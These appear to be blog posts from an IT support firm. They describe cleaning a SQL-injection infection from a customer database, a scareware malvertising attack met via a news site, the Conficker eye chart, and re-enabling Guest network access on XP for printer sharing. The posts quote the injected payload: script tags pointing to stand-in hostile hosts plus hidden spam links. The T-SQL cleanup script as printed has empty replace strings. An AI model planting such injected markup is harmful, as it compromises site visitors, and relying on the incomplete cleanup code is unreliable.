Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.

We weren't able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (always use stored procedures and/or parametrized queries, kids!) -- this was purely a cleanup job.

This is the code we had:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],'''', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),'''','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

And that worked fine, but it had some shortcomings -- mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:

<script src="hxxp://evilsite.evl/b.js"></script>

We had this jumble of code in every ntext field in his database:

<script type='text/javascript' src='http://google-anallytics.bad/urchin.js'></script>
<div style='display:none;'><a href='http://tests4all.bad/1/'>journals on losing post-pregnancy weight</a>
<a href='http://tests4all.bad/2/'>personal trainer certification atlanta</a>
<a href='http://tests4all.bad/3/'>quit smoking water vapor rings</a>
<a href='http://tests4all.bad/4/'>eyes in the darkness</a>
<a href='http://tests4all.bad/5/'>cheated map on dota 6.54b</a>
<a href='http://tests4all.bad/6/'>occupations for bored teen boys</a>
<a href='http://tests4all.bad/7/'>cgw southeast partners ilp</a>
<a href='http://tests4all.bad/8/'>does iq tests accurately measure intelligence</a>
<a href='http://tests4all.bad/9/'>free total psychic reading</a>
<a href='http://tests4all.bad/10/'>minnesota past life regression</a>
<a href='http://tests4all.bad/11/'>date of abraham lincolns death</a>

After trying to figure out the best way to escape all the single quotes, Branden -- an accomplished ColdFusion developer -- suggests "why don't we just drop everything to the right of the <script> tag?"
Read the rest of this entry »

I've gotten two calls from clients (OK, one was a client, the other my mother-in-law) saying they visited the NYTimes website and were attacked by malware.

This is true, they were. My MIL said she was trying to read Maureen Dowd and got hit with a rogue anti-spyware application. I was able to CoPilot in and clean things up. (There didn't seem much to clean up, I killed a running process of IE (she uses Chrome) and the scare-screen went away.

I sparked up an unpatchedWinXP Virtual Machine running IE6 and went to the NYT website, and was prompted immediately to install flash. I opted not to and surfed around the site, fighting the information bar's insistence that I install an ActiveX Control.

So, I gave in and voila!

So, no matter how you answer, you're already stung.

Of course, your instinct is to click "Cancel" and you do, and then you're scared out of your wits when confronted with this page from protection-check07.com (don't go there!) and proceeds to make you think you're infected.

But, if we take a second to look at the scare box, we see something is amiss...

We don't have an E: drive ... and the optical drive we have is a CD-Rom, not a DVD-RAM drive...

The page that pops up is meant to scare you. The infections it reports are false -- the only infection you have (at the moment) is the webpage. If you go into taskmanager and find iexplorer.exe (or firefox.exe if you use Mozilla Firefox) and right-click on it and choose "End Process" that should make the pop-up go away.

If you click ANYWHERE on the page, it will prompt you to download a program:

Seems reasonable -- you got a warning you were infected, and you want to download a file called "Scanner-75f_2015.exe" seems legit.

IT'S NOT.

(But you knew that by now, right?)

However, this is a clear indication of how a fully patched system gets compromised. Some buys ad space on a major website. They probably serve a lot of legit ads, but in a few instances, they serve illegitmate ads. In this case, they seem to be using Flash as an attack vector. Flash movie loads and redirects your browser to a rogue site, and they're off to the races.

Since I'm a professional, I downloaded the file -- I didn't run it -- and I submitted it to http://virscan.org an online file scanner which tests a file against 37 of the leading anti-virus vendors.

Somewhat sadly, only 5 out of 37 scanners picked this up as malware:

I also ran the file thru VirusTotal.com which tests against 41 scanners, and 7 scanners turned up a positive on our file:

You can see the full report over on VirusTotal's site: http://www.virustotal.com/analisis/7bda9187e26b5a185501874b201731f12e3604c078408500abda83c35ef2fbe1-1252857630

The one thing that surprised me on the results was Microsoft's detection, trumping McAfee, Symantec, AVG and Clam-AV among many others. I've never considered MS a true player in the anti-malware landscape, but perhaps I will re-evaluate.

Kaspersky, and most othersecurity vendors, offers an online scan of your system (requires Java). If you don't have an anti-virus product installed -- or even if you do -- you might want to visit a different security vendor site than the one you have to do a check. Belt and suspenders and all that.

(This piece of spyware also eluded my trustyMalwarebytes Anti-Malware (www.malwarebytes.org) which should reinforce that no one piece of software can provide 100% protection.

There is no strong defense for this, as nothing you overtly do can cause it. Make sure your anti-virus is up to date, do regular scans of your computer -- but MOST importantly --keep backups.

As for the clients, one of them uses Norton GoBACK (since superceded in the marketplace by Ghost 14) , so they restored their machine back an hour before the infection occurred, went back to the NY Times site, got re-infected, restored AGAIN using GoBack, and then stayed away from the NY Times site. And my Mother-in-Law has been trained well and as soon as the box popped up, she called me and I was able to CoPilot into her machine and close IE before it did any damage... may you all be as lucky.

Further Info:

http://ask.metafilter.com/132707/nytimes-spyware

http://discussions.apple.com/thread.jspa?messageID=10197120&tstart=0

http://forums.mozillazine.org/viewtopic.php?f=38&t=1481195

[UPDATE: 1:30 PM, Sunday Sept 13 - the NY Times site seems to have stopped serving the ad. Further attempts to get infected have proven unsuccessful.]

If you're worried about this <scary voice>virus of doom</scary voice> that everyone's gone mental over, you might want to pop over to The Conficker Eye Chart that the Conficker Working Group has put together.

Basicially, the eye chart is a page that loads images from sites that Conficker actively blocks. So, if you can see all the images, you're not infected. Pretty clever.

If you are infected, you might want to drop us a line.

A client running XP Home today had an issue with a machine running slowly, and in the (ab)normal course of troubleshooting, we came across some errors in the event viewer that caused us to reset the security descriptors back to their defaults... and in doing so, we broke his printer sharing. (Oops!)

For those of you at home, we reset the security back to baseline via the secedit utility -- something we carry with us on our USB keys since it doesn't ship with XP Home:

secedit /configure /cfg %windir%\repair\secsetup.inf /db secsetup.sdb /verbose

So, since it's XP Home, we didn't have a lot of tools available to us, so we replied upon the Win2k3 Resource Kit tools to help us reset the Guest account, so it had access to the local printer:

The remote user was getting the message "Logon failure: the user has not been granted the requested logon type at this computer"

So we confirmed the guest account was turned on via:

net user guest /active:yes

And then we allowed it to logon from the network. (Case sensitivity rules in effect):

ntrights +r SeNetworkLogonRight -u Guest

And we had to remove the DENY right, since it takes precedence in all transactions:

ntrights -r SeDenyNetworkLogonRight -u Guest

Once we did that, the other computer was able to print again.

NEW AND IMPROVED UPDATE: Cleaning Up After a SQL Injection Attack, Part 2

[UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.]

One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried out -- we're thinking an unpatched web server at the hosting facility -- but it did cause me to look at the log file of the web site to see who might have been able to overwrite index.htm in the root directory. (The FTP logs held the clue -- a rogue in Asia who cracked the password.)

As I said, it turned up nothing, but I did see a series of SQL Injection attacks -- none of which were successful (always check your variables, kids!) -- but they piqued my interest, so I took it apart. Read the rest of this entry »